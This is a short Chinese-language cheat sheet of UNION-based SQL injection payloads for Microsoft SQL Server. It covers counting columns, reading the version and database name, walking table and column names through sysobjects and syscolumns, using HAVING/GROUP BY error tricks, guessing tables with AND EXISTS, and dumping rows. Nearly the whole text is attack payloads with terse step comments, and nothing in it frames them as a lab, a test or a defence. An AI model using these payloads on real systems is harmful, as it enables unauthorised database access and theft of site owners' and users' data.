union查询SQL注射
'//猜漏洞页面所查询表名有多少字段(获取union列数)
order by N
union select 1,2,3,4,...,N from sysobjects
union select 1,2,3,4,...,N from master.dbo.sysobjects
'//查数据库版本和数据库名
union select 1,@@version,db_name(),3,4,...,N from master.dbo.sysobjects
'//查询表名(从0开始增加第二个top N的数字就可以遍历当前数据库表名了)
union select 1,2,(select top 1 name from sysobjects where xtype='u' and name not in(select top 0 name from sysobjects where xtype='u')),4,...,N from master.dbo.sysobjects
'//查其他数据库的表名
union select 1,2,(select top 1 name from [dbname]..sysobjects where xtype='u' and name not in(select top 0 name from [dbname]..sysobjects where xtype='u')),4,...,N from master.dbo.sysobjects
'//猜字段名(从0开始增加第二个top N的数字就可以遍历admin表的字段名了)
union select 1,2,(select top 1 name from syscolumns where id in (select id from sysobjects where name='已猜出表名') and name not in (select top 2 name from syscolumns where id in (select id from sysobjects where name='已猜出表名'))),4,...,N from master.dbo.sysobjects
'//暴数据
union select top 1 1,字段名一,字段名二,4,...,N from 已猜出表名 where name not in (select top 0 name from 已猜出表名)
'//暴出当前表名和第一个列名
having 1=1--
'//暴第二个列名,第N个列名
' group by 第一个列名 having 1=1--,
' group by 第一个列名,第二个列名 having 1=1--,
'//获取显示数据位置
and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
'//Union猜解表名
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 from 表名 where 1=1
'//And 子语句猜解表名、字段
and exists(select * from 表名)
and exists(select 字段名 from 已猜出表名)